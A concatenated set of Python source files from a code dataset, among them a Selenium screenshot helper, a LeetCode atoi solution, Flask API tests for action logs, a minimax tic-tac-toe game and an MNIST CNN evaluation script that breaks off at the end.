driver=None,title=''):\n from selenium import webdriver\n from selenium.webdriver.common.action_chains import ActionChains\n import time\n\n if not driver:\n # dri=webdriver.PhantomJS()\n dri = webdriver.Chrome()\n else:\n dri = driver\n dri.get(url)\n dri.maximize_window()\n # try:title = dri.title.split('-')[1]\n # except:title=dri.title\n tm = time.strftime(\"%Y-%m-%d+%H-%M-%S\", time.localtime())\n TITLE = title + '+' + tm + '+BASE'\n time.sleep(2)\n dri.save_screenshot('d:/spider/tmall/screenShot/%s.png' % TITLE)\n\n try:\n element = dri.find_element_by_xpath(\".//*[@class='main-info']/div[1]/div[2]/span\")\n ActionChains(dri).move_to_element(element).perform()\n time.sleep(2)\n\n TITLE = title + '+' + tm + '+DETAIL'\n dri.save_screenshot('d:/spider/tmall/screenShot/%s.png' % TITLE)\n except:pass\n # dri.quit()\n return dri\n","sub_path":"Tmall_project/newProject/screenShot/screenShot.py","file_name":"screenShot.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"159261570","text":"class StateMachine:\n def __init__(self): \n self.STATE = {\"q1\" : 1, \"q2\" : 2, \"q3\" : 3, \"q4\" : 4}\n self.MIN_INT, self.MAX_INT = -2**31, 2**31 - 1\n \n self.curr_state = 1\n self.val = 0\n self.sign = 1\n \n def to_q2(self, c: chr) -> None:\n self.sign = -1 if c == \"-\" else 1\n self.curr_state = self.STATE[\"q2\"]\n \n def to_q3(self, c:chr) -> None:\n self.curr_state = self.STATE[\"q3\"]\n if (\n self.val > self.MAX_INT // 10 \n or (self.val == self.MAX_INT // 10 and int(c) > self.MAX_INT % 10)\n ):\n if self.sign == 1:\n # If sign is 1, clamp result to INT_MAX.\n self.val = self.MAX_INT\n else:\n # If sign is -1, clamp result to INT_MIN.\n self.val = self.MIN_INT\n self.sign = 1\n self.to_q4()\n else:\n self.val = self.val*10 + int(c)\n \n def to_q4(self) -> None:\n self.curr_state = self.STATE[\"q4\"]\n \n def push_char(self, c: chr) -> None:\n if self.curr_state == self.STATE[\"q1\"]:\n if c == \" \":\n return\n elif c in (\"-\", \"+\"):\n self.to_q2(c)\n elif c.isdigit():\n self.to_q3(c)\n else:\n self.to_q4()\n elif self.curr_state in (self.STATE[\"q2\"], self.STATE[\"q3\"]):\n if c.isdigit():\n self.to_q3(c)\n else:\n self.to_q4()\n \n def get_state(self) -> int:\n return self.curr_state\n \n def get_val(self) -> int:\n return self.sign * self.val\n\nclass Solution:\n def myAtoi(self, s: str) -> int:\n sm = StateMachine()\n for c in s:\n sm.push_char(c)\n if sm.get_state() == sm.STATE[\"q4\"]:\n \n break\n return sm.get_val()","sub_path":"problems/string_to_integer_(atoi)/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270758229","text":"# Copyright 2014 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom flask import json\nfrom mock import patch\n\nfrom collector.test.base import DbTest\n\nfrom collector.api.app import db\nfrom collector.api.common import consts\nfrom collector.api.db.model import ActionLog\nfrom six.moves import xrange\n\n\nclass TestActionLogs(DbTest):\n\n def test_not_allowed_methods(self):\n resp = self.get('/api/v1/action_logs/', None)\n self.check_response_error(resp, 405)\n resp = self.delete('/api/v1/action_logs/')\n self.check_response_error(resp, 405)\n resp = self.patch('/api/v1/action_logs/', None)\n self.check_response_error(resp, 405)\n resp = self.put('/api/v1/action_logs/', None)\n self.check_response_error(resp, 405)\n\n def test_empty_action_logs_post(self):\n resp = self.post('/api/v1/action_logs/', {'action_logs': []})\n self.check_response_ok(resp)\n\n def test_post(self):\n master_node_uid = 'x'\n expected_logs = [\n {\n 'master_node_uid': master_node_uid,\n 'external_id': i,\n 'body': {\n \"id\": i,\n \"actor_id\": \"\",\n \"action_group\": \"\",\n \"action_name\": \"\",\n \"action_type\": \"http_request\",\n \"start_timestamp\": \"\",\n \"end_timestamp\": \"\",\n \"additional_info\": {\n \"request_data\": {},\n \"response_data\": {}\n },\n \"is_sent\": False,\n \"cluster_id\": 5,\n \"task_uuid\": None\n }\n }\n for i in xrange(3)]\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': expected_logs}\n )\n self.check_response_ok(resp)\n resp_data = json.loads(resp.data)\n for d in resp_data['action_logs']:\n self.assertEqual(\n consts.ACTION_LOG_STATUSES.added,\n d['status']\n )\n\n actual_logs = db.session.query(ActionLog).filter(\n ActionLog.master_node_uid == master_node_uid).all()\n self.assertEqual(len(expected_logs), len(actual_logs))\n self.assertListEqual(\n sorted([l['external_id'] for l in expected_logs]),\n sorted([l.external_id for l in actual_logs])\n )\n\n def test_post_duplication(self):\n master_node_uid = 'x'\n action_logs = [\n {\n 'master_node_uid': master_node_uid,\n 'external_id': i,\n 'body': {\n \"id\": i,\n \"actor_id\": \"\",\n \"action_group\": \"\",\n \"action_name\": \"\",\n \"action_type\": \"nailgun_task\",\n \"start_timestamp\": \"1\",\n \"end_timestamp\": \"2\",\n \"additional_info\": {\n \"parent_task_id\": 0,\n \"subtasks_ids\": [],\n \"operation\": \"\",\n \"nodes_from_resp\": [],\n \"ended_with_status\": \"\"\n },\n \"is_sent\": False,\n \"cluster_id\": 5,\n \"task_uuid\": None\n }\n }\n for i in xrange(100)]\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': action_logs}\n )\n self.check_response_ok(resp)\n count_actual = db.session.query(ActionLog).filter(\n ActionLog.master_node_uid == master_node_uid).count()\n resp_data = json.loads(resp.data)\n for d in resp_data['action_logs']:\n self.assertEqual(\n consts.ACTION_LOG_STATUSES.added,\n d['status']\n )\n self.assertEqual(len(action_logs), count_actual)\n\n # Checking duplications is not added\n new_action_logs = [\n {\n 'master_node_uid': master_node_uid,\n 'external_id': i,\n 'body': {\n \"id\": i,\n \"actor_id\": \"\",\n \"action_group\": \"\",\n \"action_name\": \"\",\n \"action_type\": \"nailgun_task\",\n \"start_timestamp\": \"3\",\n \"end_timestamp\": \"4\",\n \"additional_info\": {\n \"parent_task_id\": 0,\n \"subtasks_ids\": [],\n \"operation\": \"\",\n \"nodes_from_resp\": [],\n \"ended_with_status\": \"\"\n },\n \"is_sent\": False,\n \"cluster_id\": 5,\n \"task_uuid\": None\n }\n }\n for i in xrange(len(action_logs) + 50)]\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': action_logs + new_action_logs}\n )\n self.check_response_ok(resp)\n count_actual = db.session.query(ActionLog).filter(\n ActionLog.master_node_uid == master_node_uid).count()\n self.assertEqual(\n len(new_action_logs),\n count_actual\n )\n data = json.loads(resp.data)\n existed = filter(\n lambda x: x['status'] == consts.ACTION_LOG_STATUSES.existed,\n data['action_logs']\n )\n added = filter(\n lambda x: x['status'] == consts.ACTION_LOG_STATUSES.added,\n data['action_logs']\n )\n self.assertEqual(len(action_logs), len(existed))\n self.assertEqual(len(new_action_logs) - len(action_logs), len(added))\n\n def test_validation_error(self):\n expected_logs = [{'master_node_uid': 'x', 'external_id': None}]\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': expected_logs}\n )\n self.check_response_error(resp, code=400)\n\n def test_incomplete_tasks(self):\n master_node_uid = 'x'\n action_logs = [\n {\n 'master_node_uid': master_node_uid,\n 'external_id': i,\n 'body': {\n \"id\": i,\n \"actor_id\": \"\",\n \"action_group\": \"cluster_changes\",\n \"action_name\": \"deployment\",\n \"action_type\": \"nailgun_task\",\n \"start_timestamp\": \"1\",\n # about 1/3 is incomplete\n \"end_timestamp\": \"2\" if i % 3 else None,\n \"additional_info\": {\n \"parent_task_id\": i if i % 2 else None,\n \"subtasks_ids\": [],\n \"operation\": \"deployment\"\n },\n \"is_sent\": False,\n \"cluster_id\": 5\n }\n }\n for i in xrange(100)]\n completed_count = sum(rec[\"body\"][\"end_timestamp\"] is not None\n for rec in action_logs)\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': action_logs}\n )\n self.check_response_ok(resp)\n\n log_recs = db.session.query(ActionLog).filter(\n ActionLog.master_node_uid == master_node_uid)\n self.assertEqual(\n log_recs.count(),\n completed_count\n )\n for rec in log_recs:\n self.assertIsNotNone(rec.body[\"end_timestamp\"])\n\n resp_logs = json.loads(resp.data)['action_logs']\n self.assertEqual(\n len(resp_logs),\n len(action_logs)\n )\n passed = sum(r['status'] == consts.ACTION_LOG_STATUSES.added\n for r in resp_logs)\n skipped = sum(r['status'] == consts.ACTION_LOG_STATUSES.skipped\n for r in resp_logs)\n self.assertEqual(\n passed + skipped,\n len(action_logs)\n )\n self.assertEqual(\n passed,\n completed_count\n )\n\n def test_failed_action_logs(self):\n al_num = 100\n action_logs = [\n {\n 'master_node_uid': 'xx',\n 'external_id': i,\n 'body': {\n \"id\": i,\n \"actor_id\": \"\",\n \"action_group\": \"cluster_changes\",\n \"action_name\": \"deployment\",\n \"action_type\": \"nailgun_task\",\n \"start_timestamp\": \"1\",\n \"end_timestamp\": \"2\",\n \"additional_info\": {\n \"parent_task_id\": None,\n \"subtasks_ids\": [],\n \"operation\": \"deployment\"\n },\n \"is_sent\": False,\n \"cluster_id\": 5\n }\n }\n for i in xrange(al_num)]\n with patch.object(ActionLog.__table__, 'insert',\n side_effect=Exception('stop')):\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': action_logs}\n )\n self.check_response_ok(resp)\n\n resp_logs = json.loads(resp.data)['action_logs']\n for r in resp_logs:\n self.assertEqual(consts.ACTION_LOG_STATUSES.failed,\n r['status'])\n\n def test_action_type_action_name_copied_to_columns(self):\n action_logs_data = [\n {\n 'master_node_uid': 'xx',\n 'external_id': 1,\n 'body': {\n 'id': 1,\n 'action_name': 'deployment',\n 'action_type': 'nailgun_task',\n 'end_timestamp': None\n }\n },\n {\n 'master_node_uid': 'xx',\n 'external_id': 2,\n 'body': {\n 'id': 2,\n 'action_name': '',\n 'action_type': 'http_request',\n 'end_timestamp': \"1\"\n }\n }\n ]\n resp = self.post(\n '/api/v1/action_logs/',\n {'action_logs': action_logs_data}\n )\n self.check_response_ok(resp)\n\n action_logs = db.session.query(ActionLog).all()\n for action_log in action_logs:\n self.assertEqual(action_log.action_name,\n action_log.body['action_name'])\n self.assertEqual(action_log.action_type,\n action_log.body['action_type'])\n","sub_path":"collector/collector/test/resources/test_action_logs.py","file_name":"test_action_logs.py","file_ext":"py","file_size_in_byte":11202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"339117277","text":"import numpy as np\nimport qiskit as qk\nfrom copy import deepcopy\nfrom tqdm.notebook import tqdm\nfrom neuralnetwork import *\nfrom utils import *\n\n\nclass FIM():\n def __init__(self, model):\n self.model = model\n self.fim = None\n\n def fit(self, x):\n n_samples = x.shape[0]\n\n self.model.backward(x, samplewise=True, include_loss=False)\n gradient = self.model.weight_gradient_list\n\n gradient_flattened = []\n for grad in gradient:\n gradient_flattened.append(grad.reshape(n_samples, -1))\n\n gradient_flattened = np.concatenate(gradient_flattened, axis=1)\n\n self.fim = 1 / n_samples * gradient_flattened.T @ gradient_flattened\n\n def eigen(self, sort=False):\n self.eigen = np.linalg.eig(self.fim)[0]\n if sort:\n self.eigen[::-1].sort()\n return np.abs(self.eigen)\n\n def fisher_rao(self):\n weight = self.model.weight\n\n weight_flattened = []\n for w in weight:\n weight_flattened.append(w.reshape(-1, 1))\n\n weight = np.concatenate(weight_flattened, axis=0)\n\n fr = weight.T @ self.fim @ weight\n\n return fr[0][0]\n\n\ndef trajectory_length(x):\n diff = (x[1:] - x[:-1])\n diff = np.append(diff, (x[0] - x[-1]).reshape(1, -1), axis=0)\n accum = np.sum(diff**2, axis=1)\n accum = np.sum(np.sqrt(accum))\n return accum\n\n\ndef trajectory_curvature(x):\n diff = (x[1:] - x[:-1])\n dot = np.matmul()\n accum = np.sum(diff**2, axis=1)\n accum = np.sum(np.sqrt(accum))\n return accum\n","sub_path":"src/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"141938848","text":"from collections import namedtuple\n\nimport numpy as np\nfrom scipy.integrate import ode\n\nfrom helpers import pairwise\n\nArrow = namedtuple('Arrow', ['x', 'y', 'len_x', 'len_y'])\n\n\ndef get_plot_arrows(xs, ys, n=3):\n length = 0\n for (prev_x, prev_y), (x, y) in pairwise(zip(xs, ys)):\n length += np.sqrt((x - prev_x) ** 2 + (y - prev_y) ** 2)\n distance, i, arrows = 0, 1, []\n for (prev_x, prev_y), (x, y) in pairwise(zip(xs, ys)):\n distance += np.sqrt((x - prev_x) ** 2 + (y - prev_y) ** 2)\n if distance > i * length / n:\n arrows.append(Arrow(prev_x, prev_y, x - prev_x, y - prev_y))\n i += 1\n return arrows\n\n\ndef trajectory(x0, derivative, bounds=lambda x: True, time=100, reverse=False):\n solver = ode(derivative).set_integrator('zvode', method='bdf')\n solver.set_initial_value(x0, 0)\n dt, points = 0.01, [x0]\n while solver.successful() and abs(solver.t) < time:\n point = solver.integrate(solver.t + dt if not reverse else solver.t - dt)\n points.append(np.real(point))\n if not bounds(point):\n break\n if reverse:\n points.reverse()\n return points\n","sub_path":"TS/lapunow2/phase_portraits.py","file_name":"phase_portraits.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"228412118","text":"# -*- coding: utf-8 -*-\n'''\nГенерация датасета и сохранение его в файлах, чтобы запускать модели, написанные на других ЯП.\n(c) Козиев Илья inkoziev@gmail.com\n'''\n\nfrom __future__ import print_function\nimport sklearn.model_selection\nimport numpy as np\nfrom DatasetVectorizers import W2V_Vectorizer\nfrom DatasetVectorizers import WordIndeces_Vectorizer\n\n\n\ndataset_generator = W2V_Vectorizer()\n#dataset_generator = WordIndeces_Vectorizer()\nX_data,y_data = dataset_generator.vectorize_dataset()\n\nX_train, X_val0, y_train, y_val0 = sklearn.model_selection.train_test_split(X_data, y_data, test_size=0.66,\n random_state=123456)\n\nX_holdout, X_val, y_holdout, y_val = sklearn.model_selection.train_test_split(X_val0, y_val0, test_size=0.50,\n random_state=123456)\n\nprint('X_train.shape={} X_val.shape={} X_holdout.shape={}'.format(X_train.shape, X_val.shape, X_holdout.shape))\n\n\n# --------------------------------------------------------------------\n# Датасеты для OpenNN, в которых X и y совмещены в одном файле\nnx = X_train.shape[1]\nnrow = 10000000\nx_header = str.join( '\\t', [ 'x{}'.format(i) for i in range(nx) ] )+'\\ty'\nXy_train = np.hstack( (X_train, y_train.reshape( (y_train.shape[0],1) ) ) )[:nrow,:]\n#np.savetxt( '../data/Xy_train.csv', Xy_train, fmt='%.18e', delimiter='\\t', header=x_header, comments='')\nnp.savetxt( '../data/Xy_train.csv', Xy_train, fmt='%g', delimiter='\\t', header='', comments='')\n\nXy_val = np.hstack( (X_val, y_val.reshape( (y_val.shape[0],1) ) ) )[:nrow,:]\n#np.savetxt( '../data/Xy_val.csv', Xy_val, fmt='%.18e', delimiter='\\t', header=x_header, comments='')\nnp.savetxt( '../data/Xy_val.csv', Xy_val, fmt='%g', delimiter='\\t', header='', comments='')\n\nXy_holdout = np.hstack( (X_holdout, y_holdout.reshape( (y_holdout.shape[0],1) ) ) )[:nrow,:]\n#np.savetxt( '../data/Xy_holdout.csv', Xy_holdout, fmt='%.18e', delimiter='\\t', header=x_header, comments='')\nnp.savetxt( '../data/Xy_holdout.csv', Xy_holdout, fmt='%g', delimiter='\\t', header='', comments='')\n\n# --------------------------------------------------------------------\n\nnp.savetxt( '../data/X_train.csv', X_train, fmt='%.18e', delimiter='\\t')\nnp.savetxt( '../data/y_train.csv', y_train, fmt='%.18e', delimiter='\\t')\n\nnp.savetxt( '../data/X_val.csv', X_val, fmt='%.18e', delimiter='\\t')\nnp.savetxt( '../data/y_val.csv', y_val, fmt='%.18e', delimiter='\\t')\n\nnp.savetxt( '../data/X_holdout.csv', X_holdout, fmt='%.18e', delimiter='\\t')\nnp.savetxt( '../data/y_holdout.csv', y_holdout, fmt='%.18e', delimiter='\\t')\n","sub_path":"PyModels/store_dataset_file.py","file_name":"store_dataset_file.py","file_ext":"py","file_size_in_byte":2734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"230159874","text":"# pylint: disable=missing-module-docstring\r\n# pylint: disable=missing-class-docstring\r\n# pylint: disable=missing-function-docstring\r\nBOT = 'O'\r\nHUMAN = 'X'\r\nBLANK = ' '\r\n\r\n\r\ndef d2_to_number(num_a, num_b):\r\n result = 999\r\n if num_a == 0 and num_b == 0:\r\n result = 1\r\n elif num_a == 0 and num_b == 1:\r\n result = 2\r\n elif num_a == 0 and num_b == 2:\r\n result = 3\r\n elif num_a == 1 and num_b == 0:\r\n result = 4\r\n elif num_a == 1 and num_b == 1:\r\n result = 5\r\n elif num_a == 1 and num_b == 2:\r\n result = 6\r\n elif num_a == 2 and num_b == 0:\r\n result = 7\r\n elif num_a == 2 and num_b == 1:\r\n result = 8\r\n elif num_a == 2 and num_b == 2:\r\n result = 9\r\n\r\n return result\r\n\r\n\r\ndef display_board(d2_board):\r\n blank_board = \"\"\"\r\n___________________\r\n| 1 | 2 | 3 |\r\n|-----------------|\r\n| 4 | 5 | 6 |\r\n|-----------------|\r\n| 7 | 8 | 9 |\r\n|-----------------|\r\n\"\"\"\r\n for pos_x in range(0, 3):\r\n for pos_y in range(0, 3):\r\n pos_number = d2_to_number(pos_x, pos_y)\r\n if d2_board[pos_x][pos_y] == 'O' or d2_board[pos_x][pos_y] == 'X':\r\n blank_board = blank_board.replace(str(pos_number), d2_board[pos_x][pos_y])\r\n else:\r\n blank_board = blank_board.replace(str(pos_number), ' ')\r\n print(blank_board)\r\n\r\n\r\ndef number_y(num_c):\r\n result = 99\r\n if num_c % 3 == 1:\r\n result = 0\r\n if num_c % 3 == 2:\r\n result = 1\r\n if num_c % 3 == 0:\r\n result = 2\r\n return result\r\n\r\n\r\ndef number_x(num_c):\r\n if num_c <= 3:\r\n return 0\r\n if num_c >= 7:\r\n return 2\r\n return 1\r\n\r\n\r\ndef player_input(correct_fields):\r\n while True:\r\n print(\"dostepne pola: \")\r\n print(correct_fields)\r\n try:\r\n console_input = input(\"Wprowadź numer pola: \")\r\n console_input = int(console_input)\r\n if console_input not in correct_fields:\r\n print(correct_fields)\r\n print(\"Błędny numer pola, ponów próbę\")\r\n else:\r\n break\r\n except ValueError:\r\n print(correct_fields)\r\n print(\"Podaj pole jako numer pola, ponów próbę\")\r\n return console_input\r\n\r\n\r\ndef computer_turn():\r\n best_score = -1000\r\n for pos_x in range(0, 3):\r\n for pos_y in range(0, 3):\r\n if d2Board[pos_x][pos_y] == BLANK:\r\n # u can move here\r\n d2Board[pos_x][pos_y] = BOT\r\n score = min_max_algorithm(d2Board, False)\r\n d2Board[pos_x][pos_y] = BLANK\r\n if score > best_score:\r\n best_score = score\r\n best_move_x = pos_x\r\n best_move_y = pos_y\r\n d2Board[best_move_x][best_move_y] = BOT\r\n\r\n\r\ndef trying_max():\r\n best_score = -1000\r\n for pos_x in range(0, 3):\r\n for pos_y in range(0, 3):\r\n if d2Board[pos_x][pos_y] == BLANK:\r\n d2Board[pos_x][pos_y] = BOT\r\n score = min_max_algorithm(d2Board, False)\r\n d2Board[pos_x][pos_y] = BLANK\r\n if score > best_score:\r\n best_score = score\r\n return best_score\r\n\r\n\r\ndef trying_min():\r\n best_score = 1000\r\n for pos_x in range(0, 3):\r\n for pos_y in range(0, 3):\r\n if d2Board[pos_x][pos_y] == BLANK:\r\n d2Board[pos_x][pos_y] = HUMAN\r\n score = min_max_algorithm(d2Board, True)\r\n d2Board[pos_x][pos_y] = BLANK\r\n if score < best_score:\r\n best_score = score\r\n return best_score\r\n\r\n\r\ndef min_max_algorithm(board, is_maximazing):\r\n result = 999\r\n if if_mark_won(BOT):\r\n result = 100\r\n elif if_mark_won(HUMAN):\r\n result = -100\r\n elif check_draw(board):\r\n result = 0\r\n elif is_maximazing:\r\n result = trying_max()\r\n # best_score = -1000\r\n # for pos_x in range(0, 3):\r\n # for pos_y in range(0, 3):\r\n # if d2Board[pos_x][pos_y] == BLANK:\r\n # d2Board[pos_x][pos_y] = BOT\r\n # score = min_max_algorithm(board, False)\r\n # d2Board[pos_x][pos_y] = BLANK\r\n # if score > best_score:\r\n # best_score = score\r\n # result = best_score\r\n # minimizing\r\n elif not is_maximazing:\r\n result = trying_min()\r\n # best_score = 1000\r\n # for pos_x in range(0, 3):\r\n # for pos_y in range(0, 3):\r\n # if d2Board[pos_x][pos_y] == BLANK:\r\n # d2Board[pos_x][pos_y] = HUMAN\r\n # score = min_max_algorithm(board, True)\r\n # d2Board[pos_x][pos_y] = BLANK\r\n # if score < best_score:\r\n # best_score = score\r\n #result = best_score\r\n return result\r\n\r\n\r\ndef check_draw(d2_board):\r\n for pos_x in range(0, 3):\r\n for pos_y in range(0, 3):\r\n if d2_board[pos_x][pos_y] == BLANK:\r\n return False\r\n return True\r\n\r\n\r\ndef if_mark_won(mark):\r\n symbol = 'X'\r\n for pos_x in range(0, 3):\r\n # sprwadz piony\r\n if d2Board[pos_x][0] == d2Board[pos_x][1] and d2Board[pos_x][1] == d2Board[pos_x][2]:\r\n symbol = d2Board[pos_x][0]\r\n if symbol == mark:\r\n return True\r\n # sprawdz poziomy\r\n if d2Board[0][pos_x] == d2Board[1][pos_x] and d2Board[1][pos_x] == d2Board[2][pos_x]:\r\n symbol = d2Board[0][pos_x]\r\n if symbol == mark:\r\n return True\r\n # sprawdz skosy\r\n if d2Board[0][0] == d2Board[1][1] and d2Board[1][1] == d2Board[2][2]:\r\n symbol = d2Board[0][0]\r\n if symbol == mark:\r\n return True\r\n if d2Board[2][0] == d2Board[1][1] and d2Board[1][1] == d2Board[0][2]:\r\n symbol = d2Board[2][0]\r\n if symbol == mark:\r\n return True\r\n return False\r\n\r\n\r\ndef check_end(d2_board):\r\n # sprwadz\r\n symbol = 'X'\r\n for pos_x in range(0, 3):\r\n # sprwadz piony\r\n if d2_board[pos_x][0] == d2_board[pos_x][1] and d2_board[pos_x][1] == d2_board[pos_x][2]:\r\n symbol = d2_board[pos_x][0]\r\n if symbol in ('O', 'X'):\r\n print('Wygrał1 ' + str(symbol))\r\n return True\r\n # sprawdz poziomy\r\n if d2_board[0][pos_x] == d2_board[1][pos_x] and d2_board[1][pos_x] == d2_board[2][pos_x]:\r\n symbol = d2_board[0][pos_x]\r\n if symbol in ('O', 'X'):\r\n print('Wygrał2 ' + str(symbol))\r\n return True\r\n # sprawdz skosy\r\n if d2_board[0][0] == d2_board[1][1] and d2_board[1][1] == d2_board[2][2]:\r\n symbol = d2_board[0][0]\r\n if symbol in ('O', 'X'):\r\n print('Wygrał3 ' + str(symbol))\r\n return True\r\n if d2_board[2][0] == d2_board[1][1] and d2_board[1][1] == d2_board[0][2]:\r\n symbol = d2_board[2][0]\r\n if symbol in ('O', 'X'):\r\n print('Wygrał4 ' + str(symbol))\r\n return True\r\n return False\r\n\r\n\r\ndef basic_game_turn(player_turn, d2_board):\r\n if player_turn:\r\n print('Gracz X')\r\n choice = player_input(able_fields)\r\n d2_board[number_x(choice)][number_y(choice)] = 'X'\r\n else:\r\n print('Komputer O')\r\n # odkomentuj ponizsze dla 2ch graczy\r\n # choice = playerInput(avaibleFields)\r\n # d2Board[numberX(choice)][numberY(choice)] = 'O'\r\n computer_turn()\r\n\r\n list_of_globals = globals()\r\n list_of_globals['PLAYER_TURN'] = not list_of_globals['PLAYER_TURN']\r\n\r\n\r\nif __name__ == '__main__':\r\n w, h = 3, 3\r\n d2Board = [[7 for x in range(w)] for y in range(h)]\r\n for i in range(0, 3):\r\n for j in range(0, 3):\r\n d2Board[i][j] = BLANK\r\n\r\n display_board(d2Board)\r\n PLAYER_TURN = True\r\n while True:\r\n able_fields = []\r\n for i in range(0, 3):\r\n for j in range(0, 3):\r\n POS_NUMBER = d2_to_number(i, j)\r\n if not (d2Board[i][j] == 'O' or d2Board[i][j] == 'X'):\r\n # jeśli nie ma zajętego pola, możesz je zająć\r\n able_fields.append(POS_NUMBER)\r\n if if_mark_won(HUMAN):\r\n print(\"Wygrał gracz, X\")\r\n break\r\n if if_mark_won(BOT):\r\n print(\"Wygrał komputer, X\")\r\n break\r\n if len(able_fields) <= 0:\r\n print(\"End of the game\")\r\n if if_mark_won(HUMAN):\r\n print(\"Wygrał gracz, X\")\r\n break\r\n if if_mark_won(BOT):\r\n print(\"Wygrał komputer, X\")\r\n break\r\n print(\"Remis\")\r\n break\r\n basic_game_turn(PLAYER_TURN, d2Board)\r\n display_board(d2Board)\r\n # print(d2Board)\r\n","sub_path":"lab5tictacGame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"539264779","text":"from __future__ import print_function\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nfrom torchvision import datasets, transforms\nfrom sklearn.manifold import TSNE\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=64, kernel_size=(5, 5), stride=1)\n self.conv2 = nn.Conv2d(64, 64, 3, 1)\n self.conv3 = nn.Conv2d(64, 128, 3, 1)\n self.bn1 = nn.BatchNorm2d(64)\n self.bn2 = nn.BatchNorm2d(64)\n self.bn3 = nn.BatchNorm2d(128)\n self.dropout1 = nn.Dropout2d(0.4)\n self.dropout2 = nn.Dropout2d(0.3)\n self.dropout3 = nn.Dropout2d(0.2)\n self.fc1 = nn.Linear(128 * 9, 256)\n self.fc2 = nn.Linear(256, 10)\n\n\n def forward(self, x, get_features=True):\n x = self.conv1(x)\n x = F.relu(x)\n x = F.max_pool2d(x, 2)\n x = self.dropout1(self.bn1(x))\n\n x = self.conv2(x)\n x = F.relu(x)\n x = F.max_pool2d(x, 2)\n x = self.dropout2(self.bn2(x))\n\n x = self.conv3(x)\n x = F.relu(x)\n x = self.dropout3(self.bn3(x))\n\n x = torch.flatten(x, 1)\n feat = self.fc1(x)\n\n x = F.relu(feat)\n x = self.fc2(x)\n\n output = F.log_softmax(x, dim=1)\n return output, feat\n\n\nif __name__ == '__main__':\n model = Net()\n model.load_state_dict(torch.load('mnist_model_full.pt'))\n\n test_dataset = datasets.MNIST('../data', train=False,\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ]))\n\n with torch.no_grad(): # For the inference step, gradient is not computed\n mistake_ims = []\n mistakes = []\n model.eval()\n kernels = list(model.children())[0].weight.data[:9, 0]\n confusion = np.zeros((10, 10))\n class_counts = np.zeros(10)\n features = np.zeros((len(test_dataset), 256))\n targets = []\n i = 0\n\n for data, target in test_dataset:\n targets.append(target)\n output, features[i] = model(data.unsqueeze(0))\n pred = int(output.argmax(dim=1, keepdim=True)[0])\n\n if pred != target and len(mistakes) < 9:\n mistake_ims.append(data[0])\n mistakes.append((pred, target))\n\n confusion[target, pred] += 1\n class_counts[target] += 1\n i += 1\n\n #feats_embedded = TSNE(n_components=2).fit_transform(features)\n\n n_train = [60000 // (2 ** i) for i in [0, 1, 2, 3, 4]]\n train_accs = [99.43, 99.40, 99.28, 99.23, 99.]\n test_accs = [99.5, 99.44, 99.25, 99.19, 98.65]\n plt.figure(figsize=(8, 4))\n plt.loglog(n_train, 1 - np.array(train_accs) / 100., label='train')\n plt.loglog(n_train, 1 - np.array(test_accs) / 100., label='test')\n plt.xlabel('number of training examples')\n plt.ylabel('zero-one error')\n plt.xticks(n_train, n_train)\n plt.yticks([0.005, 0.01, 0.015])\n plt.legend()\n plt.savefig('subset_training.png')\n plt.close()\n\n fig, axs = plt.subplots(3, 3)\n for i, im in enumerate(mistake_ims):\n axs[i // 3, i % 3].imshow(im, cmap='gray')\n axs[i // 3, i % 3].axis('off')\n axs[i // 3, i % 3].set_title(f'Pred: {mistakes[i][0]}, Actual: {mistakes[i][1]}')\n plt.savefig('mistake_examples.png')\n plt.close()\n\n fig, axs = plt.subplots(3, 3)\n for i, im in enumerate(kernels):\n axs[i // 3, i % 3].imshow(im, cmap='gray')\n axs[i // 3, i % 3].axis('off')\n axs[i // 3, i % 3].set_title(f'Kernel {i + 1}')\n plt.savefig('first_layer_kernels.png')\n plt.close()\n\n confusion = [[('%d' % p) for p in row] for row in confusion]\n fig, axs = plt.subplots(1, 1)\n axs.table(cellText=confusion, cellLoc='center', loc='center')\n axs.axis('off')\n axs.set_ylabel('True Class')\n axs.set_title('Predicted Class')\n plt.savefig('confusion_matrix.png')\n plt.close()\n\n plt.figure(figsize=(8, 8))\n colors = ['tab:blue', 'tab:orange', 'tab:green', 'tab:red', 'tab:purple',\n 'tab:brown', 'tab:pink', 'tab:gray', 'tab:olive', 'tab:cyan']\n for i, c in enumerate(colors):\n fes = feats_embedded[np.where(np.array(targets) == i)]\n plt.scatter(fes[:, 0], fes[:, 1], color=colors[i], s=1, label=str(i))\n plt.legend()\n plt.savefig('tSNE.png')\n plt.close()\n\n plt.rcParams[\"font.family\"] = \"serif\"\n fig, axs = plt.subplots(4, 